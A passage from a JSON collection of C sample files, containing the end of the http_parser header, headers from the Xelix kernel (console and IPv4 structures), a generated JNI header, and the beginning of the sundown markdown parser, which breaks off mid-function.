0\n  , UF_HOST             = 1\n  , UF_PORT             = 2\n  , UF_PATH             = 3\n  , UF_QUERY            = 4\n  , UF_FRAGMENT         = 5\n  , UF_MAX              = 6\n  };\n\n\n/* Result structure for http_parser_parse_url().\n *\n * Callers should index into field_data[] with UF_* values iff field_set\n * has the relevant (1 << UF_*) bit set. As a courtesy to clients (and\n * because we probably have padding left over), we convert any port to\n * a uint16_t.\n */\nstruct http_parser_url {\n  uint16_t field_set;           /* Bitmask of (1 << UF_*) values */\n  uint16_t port;                /* Converted UF_PORT string */\n\n  struct {\n    uint16_t off;               /* Offset into buffer in which field starts */\n    uint16_t len;               /* Length of run in buffer */\n  } field_data[UF_MAX];\n};\n\n\nvoid http_parser_init(http_parser *parser, enum http_parser_type type);\n\n\nsize_t http_parser_execute(http_parser *parser,\n                           const http_parser_settings *settings,\n                           const char *data,\n                           size_t len);\n\n\n/* If http_should_keep_alive() in the on_headers_complete or\n * on_message_complete callback returns true, then this will be should be\n * the last message on the connection.\n * If you are the server, respond with the \"Connection: close\" header.\n * If you are the client, close the connection.\n */\nint http_should_keep_alive(http_parser *parser);\n\n/* Returns a string version of the HTTP method. */\nconst char *http_method_str(enum http_method m);\n\n/* Return a string name of the given error */\nconst char *http_errno_name(enum http_errno err);\n\n/* Return a string description of the given error */\nconst char *http_errno_description(enum http_errno err);\n\n/* Parse a URL; return nonzero on failure */\nint http_parser_parse_url(const char *buf, size_t buflen,\n                          int is_connect,\n                          struct http_parser_url *u);\n\n/* Pause or un-pause the parser; a nonzero value pauses */\nvoid http_parser_pause(http_parser *parser, int paused);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n"
  },
  {
    "path": "samples/C/info.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Fritz Grimpen\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <console/color.h>\n\ntypedef struct {\n\tuint32_t cursor_x;\n\tuint32_t cursor_y;\n\n\tuint32_t rows;\n\tuint32_t columns;\n\n\tuint32_t tabstop;\n\n\tconsole_color_t default_color;\n\tconsole_color_t current_color;\n\n\tuint8_t nonblocking;\n\tuint8_t reverse_video;\n\tuint8_t bold;\n\tuint8_t blink;\n\tuint8_t underline;\n\tuint8_t newline_mode;\n\tuint8_t auto_echo;\n\tuint8_t handle_backspace;\n} console_info_t;\n"
  },
  {
    "path": "samples/C/interface.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Fritz Grimpen\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <console/info.h>\n#include <console/filter.h>\n#include <console/driver.h>\n\ntypedef struct {\n\tconsole_info_t info;\n\n\tconsole_filter_t* input_filter;\n\tconsole_filter_t* output_filter;\n\n\tconsole_driver_t* input_driver;\n\tconsole_driver_t* output_driver;\n} console_t;\n\nconsole_t* default_console;\n\n// Generate raw console, connected to the Display, Keyboard and the\n// ECMA-48-Filter\nvoid console_init();\n\nsize_t console_write(console_t* console, const char* buffer, int32_t length);\n#define console_write2(console, buffer) console_write(console, buffer, strlen(buffer))\nsize_t console_read(console_t* console, char* buffer, size_t length);\nsize_t console_scroll(console_t* console, int32_t pages);\n\nvoid console_clear(console_t* console);\n"
  },
  {
    "path": "samples/C/ip4.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Lukas Martini\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <net/net.h>\n\n#define IP4_TOS_ICMP 0\n\ntypedef uint32_t ip4_addr_t;\n\ntypedef struct {\n\tunsigned int hl:4; /* both fields are 4 bits */\n\tunsigned int version:4;\n\tuint8_t\ttos;\n\tuint16_t len;\n\tuint16_t id;\n\tuint16_t off;\n\tuint8_t ttl;\n\tuint8_t p;\n\tuint16_t checksum;\n\tip4_addr_t src;\n\tip4_addr_t dst;\n} ip4_header_t;\n\ntypedef struct {\n\tuint8_t type;\n\tuint8_t code;\n\tuint16_t checksum;\n\tuint16_t id;\n\tuint16_t sequence;\n} ip4_icmp_header_t;\n\nvoid ip4_receive(net_device_t* origin, net_l2proto_t proto, size_t size, void* raw);\n"
  },
  {
    "path": "samples/C/jni_layer.h",
    "content": "/* DO NOT EDIT THIS FILE - it is machine generated */\n#include <jni.h>\n/* Header for class jni_JniLayer */\n\n#ifndef _Included_jni_JniLayer\n#define _Included_jni_JniLayer\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n/*\n * Class:     jni_JniLayer\n * Method:    jni_layer_initialize\n * Signature: ([II)J\n */\nJNIEXPORT jlong JNICALL Java_jni_JniLayer_jni_1layer_1initialize\n  (JNIEnv *, jobject, jintArray, jint, jint);\n\n/*\n * Class:     jni_JniLayer\n * Method:    jni_layer_mainloop\n * Signature: (J)V\n */\nJNIEXPORT void JNICALL Java_jni_JniLayer_jni_1layer_1mainloop\n  (JNIEnv *, jobject, jlong);\n\n/*\n * Class:     jni_JniLayer\n * Method:    jni_layer_set_button\n * Signature: (JII)V\n */\nJNIEXPORT void JNICALL Java_jni_JniLayer_jni_1layer_1set_1button\n  (JNIEnv *, jobject, jlong, jint, jint);\n\n/*\n * Class:     jni_JniLayer\n * Method:    jni_layer_set_analog\n * Signature: (JIIF)V\n */\nJNIEXPORT void JNICALL Java_jni_JniLayer_jni_1layer_1set_1analog\n  (JNIEnv *, jobject, jlong, jint, jint, jfloat);\n\n/*\n * Class:     jni_JniLayer\n * Method:    jni_layer_report_analog_chg\n * Signature: (JI)V\n */\nJNIEXPORT void JNICALL Java_jni_JniLayer_jni_1layer_1report_1analog_1chg\n  (JNIEnv *, jobject, jlong, jint);\n\n/*\n * Class:     jni_JniLayer\n * Method:    jni_layer_kill\n * Signature: (J)V\n */\nJNIEXPORT void JNICALL Java_jni_JniLayer_jni_1layer_1kill\n  (JNIEnv *, jobject, jlong);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n"
  },
  {
    "path": "samples/C/markdown.c",
    "content": "/* markdown.c - generic markdown parser */\n\n/*\n * Copyright (c) 2009, Natacha Porté\n * Copyright (c) 2011, Vicent Marti\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include \"markdown.h\"\n#include \"stack.h\"\n\n#include <assert.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdio.h>\n\n#if defined(_WIN32)\n#define strncasecmp\t_strnicmp\n#endif\n\n#define REF_TABLE_SIZE 8\n\n#define BUFFER_BLOCK 0\n#define BUFFER_SPAN 1\n\n#define MKD_LI_END 8\t/* internal list flag */\n\n#define gperf_case_strncmp(s1, s2, n) strncasecmp(s1, s2, n)\n#define GPERF_DOWNCASE 1\n#define GPERF_CASE_STRNCMP 1\n#include \"html_blocks.h\"\n\n/***************\n * LOCAL TYPES *\n ***************/\n\n/* link_ref: reference to a link */\nstruct link_ref {\n\tunsigned int id;\n\n\tstruct buf *link;\n\tstruct buf *title;\n\n\tstruct link_ref *next;\n};\n\n/* char_trigger: function pointer to render active chars */\n/*   returns the number of chars taken care of */\n/*   data is the pointer of the beginning of the span */\n/*   offset is the number of valid chars before data */\nstruct sd_markdown;\ntypedef size_t\n(*char_trigger)(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\n\nstatic size_t char_emphasis(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_linebreak(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_codespan(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_escape(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_entity(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_langle_tag(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_autolink_url(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_autolink_email(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_autolink_www(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_link(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\nstatic size_t char_superscript(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size);\n\nenum markdown_char_t {\n\tMD_CHAR_NONE = 0,\n\tMD_CHAR_EMPHASIS,\n\tMD_CHAR_CODESPAN,\n\tMD_CHAR_LINEBREAK,\n\tMD_CHAR_LINK,\n\tMD_CHAR_LANGLE,\n\tMD_CHAR_ESCAPE,\n\tMD_CHAR_ENTITITY,\n\tMD_CHAR_AUTOLINK_URL,\n\tMD_CHAR_AUTOLINK_EMAIL,\n\tMD_CHAR_AUTOLINK_WWW,\n\tMD_CHAR_SUPERSCRIPT,\n};\n\nstatic char_trigger markdown_char_ptrs[] = {\n\tNULL,\n\t&char_emphasis,\n\t&char_codespan,\n\t&char_linebreak,\n\t&char_link,\n\t&char_langle_tag,\n\t&char_escape,\n\t&char_entity,\n\t&char_autolink_url,\n\t&char_autolink_email,\n\t&char_autolink_www,\n\t&char_superscript,\n};\n\n/* render • structure containing one particular render */\nstruct sd_markdown {\n\tstruct sd_callbacks\tcb;\n\tvoid *opaque;\n\n\tstruct link_ref *refs[REF_TABLE_SIZE];\n\tuint8_t active_char[256];\n\tstruct stack work_bufs[2];\n\tunsigned int ext_flags;\n\tsize_t max_nesting;\n\tint in_link_body;\n};\n\n/***************************\n * HELPER FUNCTIONS *\n ***************************/\n\nstatic inline struct buf *\nrndr_newbuf(struct sd_markdown *rndr, int type)\n{\n\tstatic const size_t buf_size[2] = {256, 64};\n\tstruct buf *work = NULL;\n\tstruct stack *pool = &rndr->work_bufs[type];\n\n\tif (pool->size < pool->asize &&\n\t\tpool->item[pool->size] != NULL) {\n\t\twork = pool->item[pool->size++];\n\t\twork->size = 0;\n\t} else {\n\t\twork = bufnew(buf_size[type]);\n\t\tstack_push(pool, work);\n\t}\n\n\treturn work;\n}\n\nstatic inline void\nrndr_popbuf(struct sd_markdown *rndr, int type)\n{\n\trndr->work_bufs[type].size--;\n}\n\nstatic void\nunscape_text(struct buf *ob, struct buf *src)\n{\n\tsize_t i = 0, org;\n\twhile (i < src->size) {\n\t\torg = i;\n\t\twhile (i < src->size && src->data[i] != '\\\\')\n\t\t\ti++;\n\n\t\tif (i > org)\n\t\t\tbufput(ob, src->data + org, i - org);\n\n\t\tif (i + 1 >= src->size)\n\t\t\tbreak;\n\n\t\tbufputc(ob, src->data[i + 1]);\n\t\ti += 2;\n\t}\n}\n\nstatic unsigned int\nhash_link_ref(const uint8_t *link_ref, size_t length)\n{\n\tsize_t i;\n\tunsigned int hash = 0;\n\n\tfor (i = 0; i < length; ++i)\n\t\thash = tolower(link_ref[i]) + (hash << 6) + (hash << 16) - hash;\n\n\treturn hash;\n}\n\nstatic struct link_ref *\nadd_link_ref(\n\tstruct link_ref **references,\n\tconst uint8_t *name, size_t name_size)\n{\n\tstruct link_ref *ref = calloc(1, sizeof(struct link_ref));\n\n\tif (!ref)\n\t\treturn NULL;\n\n\tref->id = hash_link_ref(name, name_size);\n\tref->next = references[ref->id % REF_TABLE_SIZE];\n\n\treferences[ref->id % REF_TABLE_SIZE] = ref;\n\treturn ref;\n}\n\nstatic struct link_ref *\nfind_link_ref(struct link_ref **references, uint8_t *name, size_t length)\n{\n\tunsigned int hash = hash_link_ref(name, length);\n\tstruct link_ref *ref = NULL;\n\n\tref = references[hash % REF_TABLE_SIZE];\n\n\twhile (ref != NULL) {\n\t\tif (ref->id == hash)\n\t\t\treturn ref;\n\n\t\tref = ref->next;\n\t}\n\n\treturn NULL;\n}\n\nstatic void\nfree_link_refs(struct link_ref **references)\n{\n\tsize_t i;\n\n\tfor (i = 0; i < REF_TABLE_SIZE; ++i) {\n\t\tstruct link_ref *r = references[i];\n\t\tstruct link_ref *next;\n\n\t\twhile (r) {\n\t\t\tnext = r->next;\n\t\t\tbufrelease(r->link);\n\t\t\tbufrelease(r->title);\n\t\t\tfree(r);\n\t\t\tr = next;\n\t\t}\n\t}\n}\n\n/*\n * Check whether a char is a Markdown space.\n\n * Right now we only consider spaces the actual\n * space and a newline: tabs and carriage returns\n * are filtered out during the preprocessing phase.\n *\n * If we wanted to actually be UTF-8 compliant, we\n * should instead extract an Unicode codepoint from\n * this character and check for space properties.\n */\nstatic inline int\n_isspace(int c)\n{\n\treturn c == ' ' || c == '\\n';\n}\n\n/****************************\n * INLINE PARSING FUNCTIONS *\n ****************************/\n\n/* is_mail_autolink • looks for the address part of a mail autolink and '>' */\n/* this is less strict than the original markdown e-mail address matching */\nstatic size_t\nis_mail_autolink(uint8_t *data, size_t size)\n{\n\tsize_t i = 0, nb = 0;\n\n\t/* address is assumed to be: [-@._a-zA-Z0-9]+ with exactly one '@' */\n\tfor (i = 0; i < size; ++i) {\n\t\tif (isalnum(data[i]))\n\t\t\tcontinue;\n\n\t\tswitch (data[i]) {\n\t\t\tcase '@':\n\t\t\t\tnb++;\n\n\t\t\tcase '-':\n\t\t\tcase '.':\n\t\t\tcase '_':\n\t\t\t\tbreak;\n\n\t\t\tcase '>':\n\t\t\t\treturn (nb == 1) ? i + 1 : 0;\n\n\t\t\tdefault:\n\t\t\t\treturn 0;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n/* tag_length • returns the length of the given tag, or 0 is it's not valid */\nstatic size_t\ntag_length(uint8_t *data, size_t size, enum mkd_autolink *autolink)\n{\n\tsize_t i, j;\n\n\t/* a valid tag can't be shorter than 3 chars */\n\tif (size < 3) return 0;\n\n\t/* begins with a '<' optionally followed by '/', followed by letter or number */\n\tif (data[0] != '<') return 0;\n\ti = (data[1] == '/') ? 2 : 1;\n\n\tif (!isalnum(data[i]))\n\t\treturn 0;\n\n\t/* scheme test */\n\t*autolink = MKDA_NOT_AUTOLINK;\n\n\t/* try to find the beginning of an URI */\n\twhile (i < size && (isalnum(data[i]) || data[i] == '.' || data[i] == '+' || data[i] == '-'))\n\t\ti++;\n\n\tif (i > 1 && data[i] == '@') {\n\t\tif ((j = is_mail_autolink(data + i, size - i)) != 0) {\n\t\t\t*autolink = MKDA_EMAIL;\n\t\t\treturn i + j;\n\t\t}\n\t}\n\n\tif (i > 2 && data[i] == ':') {\n\t\t*autolink = MKDA_NORMAL;\n\t\ti++;\n\t}\n\n\t/* completing autolink test: no whitespace or ' or \" */\n\tif (i >= size)\n\t\t*autolink = MKDA_NOT_AUTOLINK;\n\n\telse if (*autolink) {\n\t\tj = i;\n\n\t\twhile (i < size) {\n\t\t\tif (data[i] == '\\\\') i += 2;\n\t\t\telse if (data[i] == '>' || data[i] == '\\'' ||\n\t\t\t\t\tdata[i] == '\"' || data[i] == ' ' || data[i] == '\\n')\n\t\t\t\t\tbreak;\n\t\t\telse i++;\n\t\t}\n\n\t\tif (i >= size) return 0;\n\t\tif (i > j && data[i] == '>') return i + 1;\n\t\t/* one of the forbidden chars has been found */\n\t\t*autolink = MKDA_NOT_AUTOLINK;\n\t}\n\n\t/* looking for sometinhg looking like a tag end */\n\twhile (i < size && data[i] != '>') i++;\n\tif (i >= size) return 0;\n\treturn i + 1;\n}\n\n/* parse_inline • parses inline markdown elements */\nstatic void\nparse_inline(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size)\n{\n\tsize_t i = 0, end = 0;\n\tuint8_t action = 0;\n\tstruct buf work = { 0, 0, 0, 0 };\n\n\tif (rndr->work_bufs[BUFFER_SPAN].size +\n\t\trndr->work_bufs[BUFFER_BLOCK].size > rndr->max_nesting)\n\t\treturn;\n\n\twhile (i < size) {\n\t\t/* copying inactive chars into the output */\n\t\twhile (end < size && (action = rndr->active_char[data[end]]) == 0) {\n\t\t\tend++;\n\t\t}\n\n\t\tif (rndr->cb.normal_text) {\n\t\t\twork.data = data + i;\n\t\t\twork.size = end - i;\n\t\t\trndr->cb.normal_text(ob, &work, rndr->opaque);\n\t\t}\n\t\telse\n\t\t\tbufput(ob, data + i, end - i);\n\n\t\tif (end >= size) break;\n\t\ti = end;\n\n\t\tend = markdown_char_ptrs[(int)action](ob, rndr, data + i, i, size - i);\n\t\tif (!end) /* no action from the callback */\n\t\t\tend = i + 1;\n\t\telse {\n\t\t\ti += end;\n\t\t\tend = i;\n\t\t}\n\t}\n}\n\n/* find_emph_char • looks for the next emph uint8_t, skipping other constructs */\nstatic size_t\nfind_emph_char(uint8_t *data, size_t size, uint8_t c)\n{\n\tsize_t i = 1;\n\n\twhile (i < size) {\n\t\twhile (i < size && data[i] != c && data[i] != '`' && data[i] != '[')\n\t\t\ti++;\n\n\t\tif (i == size)\n\t\t\treturn 0;\n\n\t\tif (data[i] == c)\n\t\t\treturn i;\n\n\t\t/* not counting escaped chars */\n\t\tif (i && data[i - 1] == '\\\\') {\n\t\t\ti++; continue;\n\t\t}\n\n\t\tif (data[i] == '`') {\n\t\t\tsize_t span_nb = 0, bt;\n\t\t\tsize_t tmp_i = 0;\n\n\t\t\t/* counting the number of opening backticks */\n\t\t\twhile (i < size && data[i] == '`') {\n\t\t\t\ti++; span_nb++;\n\t\t\t}\n\n\t\t\tif (i >= size) return 0;\n\n\t\t\t/* finding the matching closing sequence */\n\t\t\tbt = 0;\n\t\t\twhile (i < size && bt < span_nb) {\n\t\t\t\tif (!tmp_i && data[i] == c) tmp_i = i;\n\t\t\t\tif (data[i] == '`') bt++;\n\t\t\t\telse bt = 0;\n\t\t\t\ti++;\n\t\t\t}\n\n\t\t\tif (i >= size) return tmp_i;\n\t\t}\n\t\t/* skipping a link */\n\t\telse if (data[i] == '[') {\n\t\t\tsize_t tmp_i = 0;\n\t\t\tuint8_t cc;\n\n\t\t\ti++;\n\t\t\twhile (i < size && data[i] != ']') {\n\t\t\t\tif (!tmp_i && data[i] == c) tmp_i = i;\n\t\t\t\ti++;\n\t\t\t}\n\n\t\t\ti++;\n\t\t\twhile (i < size && (data[i] == ' ' || data[i] == '\\n'))\n\t\t\t\ti++;\n\n\t\t\tif (i >= size)\n\t\t\t\treturn tmp_i;\n\n\t\t\tswitch (data[i]) {\n\t\t\tcase '[':\n\t\t\t\tcc = ']'; break;\n\n\t\t\tcase '(':\n\t\t\t\tcc = ')'; break;\n\n\t\t\tdefault:\n\t\t\t\tif (tmp_i)\n\t\t\t\t\treturn tmp_i;\n\t\t\t\telse\n\t\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\ti++;\n\t\t\twhile (i < size && data[i] != cc) {\n\t\t\t\tif (!tmp_i && data[i] == c) tmp_i = i;\n\t\t\t\ti++;\n\t\t\t}\n\n\t\t\tif (i >= size)\n\t\t\t\treturn tmp_i;\n\n\t\t\ti++;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n/* parse_emph1 • parsing single emphase */\n/* closed by a symbol not preceded by whitespace and not followed by symbol */\nstatic size_t\nparse_emph1(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size, uint8_t c)\n{\n\tsize_t i = 0, len;\n\tstruct buf *work = 0;\n\tint r;\n\n\tif (!rndr->cb.emphasis) return 0;\n\n\t/* skipping one symbol if coming from emph3 */\n\tif (size > 1 && data[0] == c && data[1] == c) i = 1;\n\n\twhile (i < size) {\n\t\tlen = find_emph_char(data + i, size - i, c);\n\t\tif (!len) return 0;\n\t\ti += len;\n\t\tif (i >= size) return 0;\n\n\t\tif (data[i] == c && !_isspace(data[i - 1])) {\n\n\t\t\tif (rndr->ext_flags & MKDEXT_NO_INTRA_EMPHASIS) {\n\t\t\t\tif (!(i + 1 == size || _isspace(data[i + 1]) || ispunct(data[i + 1])))\n\t\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\twork = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\t\tparse_inline(work, rndr, data, i);\n\t\t\tr = rndr->cb.emphasis(ob, work, rndr->opaque);\n\t\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t\t\treturn r ? i + 1 : 0;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n/* parse_emph2 • parsing single emphase */\nstatic size_t\nparse_emph2(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size, uint8_t c)\n{\n\tint (*render_method)(struct buf *ob, const struct buf *text, void *opaque);\n\tsize_t i = 0, len;\n\tstruct buf *work = 0;\n\tint r;\n\n\trender_method = (c == '~') ? rndr->cb.strikethrough : rndr->cb.double_emphasis;\n\n\tif (!render_method)\n\t\treturn 0;\n\n\twhile (i < size) {\n\t\tlen = find_emph_char(data + i, size - i, c);\n\t\tif (!len) return 0;\n\t\ti += len;\n\n\t\tif (i + 1 < size && data[i] == c && data[i + 1] == c && i && !_isspace(data[i - 1])) {\n\t\t\twork = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\t\tparse_inline(work, rndr, data, i);\n\t\t\tr = render_method(ob, work, rndr->opaque);\n\t\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t\t\treturn r ? i + 2 : 0;\n\t\t}\n\t\ti++;\n\t}\n\treturn 0;\n}\n\n/* parse_emph3 • parsing single emphase */\n/* finds the first closing tag, and delegates to the other emph */\nstatic size_t\nparse_emph3(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size, uint8_t c)\n{\n\tsize_t i = 0, len;\n\tint r;\n\n\twhile (i < size) {\n\t\tlen = find_emph_char(data + i, size - i, c);\n\t\tif (!len) return 0;\n\t\ti += len;\n\n\t\t/* skip whitespace preceded symbols */\n\t\tif (data[i] != c || _isspace(data[i - 1]))\n\t\t\tcontinue;\n\n\t\tif (i + 2 < size && data[i + 1] == c && data[i + 2] == c && rndr->cb.triple_emphasis) {\n\t\t\t/* triple symbol found */\n\t\t\tstruct buf *work = rndr_newbuf(rndr, BUFFER_SPAN);\n\n\t\t\tparse_inline(work, rndr, data, i);\n\t\t\tr = rndr->cb.triple_emphasis(ob, work, rndr->opaque);\n\t\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t\t\treturn r ? i + 3 : 0;\n\n\t\t} else if (i + 1 < size && data[i + 1] == c) {\n\t\t\t/* double symbol found, handing over to emph1 */\n\t\t\tlen = parse_emph1(ob, rndr, data - 2, size + 2, c);\n\t\t\tif (!len) return 0;\n\t\t\telse return len - 2;\n\n\t\t} else {\n\t\t\t/* single symbol found, handing over to emph2 */\n\t\t\tlen = parse_emph2(ob, rndr, data - 1, size + 1, c);\n\t\t\tif (!len) return 0;\n\t\t\telse return len - 1;\n\t\t}\n\t}\n\treturn 0;\n}\n\n/* char_emphasis • single and double emphasis parsing */\nstatic size_t\nchar_emphasis(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tuint8_t c = data[0];\n\tsize_t ret;\n\n\tif (size > 2 && data[1] != c) {\n\t\t/* whitespace cannot follow an opening emphasis;\n\t\t * strikethrough only takes two characters '~~' */\n\t\tif (c == '~' || _isspace(data[1]) || (ret = parse_emph1(ob, rndr, data + 1, size - 1, c)) == 0)\n\t\t\treturn 0;\n\n\t\treturn ret + 1;\n\t}\n\n\tif (size > 3 && data[1] == c && data[2] != c) {\n\t\tif (_isspace(data[2]) || (ret = parse_emph2(ob, rndr, data + 2, size - 2, c)) == 0)\n\t\t\treturn 0;\n\n\t\treturn ret + 2;\n\t}\n\n\tif (size > 4 && data[1] == c && data[2] == c && data[3] != c) {\n\t\tif (c == '~' || _isspace(data[3]) || (ret = parse_emph3(ob, rndr, data + 3, size - 3, c)) == 0)\n\t\t\treturn 0;\n\n\t\treturn ret + 3;\n\t}\n\n\treturn 0;\n}\n\n\n/* char_linebreak • '\\n' preceded by two spaces (assuming linebreak != 0) */\nstatic size_t\nchar_linebreak(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tif (offset < 2 || data[-1] != ' ' || data[-2] != ' ')\n\t\treturn 0;\n\n\t/* removing the last space from ob and rendering */\n\twhile (ob->size && ob->data[ob->size - 1] == ' ')\n\t\tob->size--;\n\n\treturn rndr->cb.linebreak(ob, rndr->opaque) ? 1 : 0;\n}\n\n\n/* char_codespan • '`' parsing a code span (assuming codespan != 0) */\nstatic size_t\nchar_codespan(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tsize_t end, nb = 0, i, f_begin, f_end;\n\n\t/* counting the number of backticks in the delimiter */\n\twhile (nb < size && data[nb] == '`')\n\t\tnb++;\n\n\t/* finding the next delimiter */\n\ti = 0;\n\tfor (end = nb; end < size && i < nb; end++) {\n\t\tif (data[end] == '`') i++;\n\t\telse i = 0;\n\t}\n\n\tif (i < nb && end >= size)\n\t\treturn 0; /* no matching delimiter */\n\n\t/* trimming outside whitespaces */\n\tf_begin = nb;\n\twhile (f_begin < end && data[f_begin] == ' ')\n\t\tf_begin++;\n\n\tf_end = end - nb;\n\twhile (f_end > nb && data[f_end-1] == ' ')\n\t\tf_end--;\n\n\t/* real code span */\n\tif (f_begin < f_end) {\n\t\tstruct buf work = { data + f_begin, f_end - f_begin, 0, 0 };\n\t\tif (!rndr->cb.codespan(ob, &work, rndr->opaque))\n\t\t\tend = 0;\n\t} else {\n\t\tif (!rndr->cb.codespan(ob, 0, rndr->opaque))\n\t\t\tend = 0;\n\t}\n\n\treturn end;\n}\n\n\n/* char_escape • '\\\\' backslash escape */\nstatic size_t\nchar_escape(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tstatic const char *escape_chars = \"\\\\`*_{}[]()#+-.!:|&<>^~\";\n\tstruct buf work = { 0, 0, 0, 0 };\n\n\tif (size > 1) {\n\t\tif (strchr(escape_chars, data[1]) == NULL)\n\t\t\treturn 0;\n\n\t\tif (rndr->cb.normal_text) {\n\t\t\twork.data = data + 1;\n\t\t\twork.size = 1;\n\t\t\trndr->cb.normal_text(ob, &work, rndr->opaque);\n\t\t}\n\t\telse bufputc(ob, data[1]);\n\t} else if (size == 1) {\n\t\tbufputc(ob, data[0]);\n\t}\n\n\treturn 2;\n}\n\n/* char_entity • '&' escaped when it doesn't belong to an entity */\n/* valid entities are assumed to be anything matching &#?[A-Za-z0-9]+; */\nstatic size_t\nchar_entity(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tsize_t end = 1;\n\tstruct buf work = { 0, 0, 0, 0 };\n\n\tif (end < size && data[end] == '#')\n\t\tend++;\n\n\twhile (end < size && isalnum(data[end]))\n\t\tend++;\n\n\tif (end < size && data[end] == ';')\n\t\tend++; /* real entity */\n\telse\n\t\treturn 0; /* lone '&' */\n\n\tif (rndr->cb.entity) {\n\t\twork.data = data;\n\t\twork.size = end;\n\t\trndr->cb.entity(ob, &work, rndr->opaque);\n\t}\n\telse bufput(ob, data, end);\n\n\treturn end;\n}\n\n/* char_langle_tag • '<' when tags or autolinks are allowed */\nstatic size_t\nchar_langle_tag(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tenum mkd_autolink altype = MKDA_NOT_AUTOLINK;\n\tsize_t end = tag_length(data, size, &altype);\n\tstruct buf work = { data, end, 0, 0 };\n\tint ret = 0;\n\n\tif (end > 2) {\n\t\tif (rndr->cb.autolink && altype != MKDA_NOT_AUTOLINK) {\n\t\t\tstruct buf *u_link = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\t\twork.data = data + 1;\n\t\t\twork.size = end - 2;\n\t\t\tunscape_text(u_link, 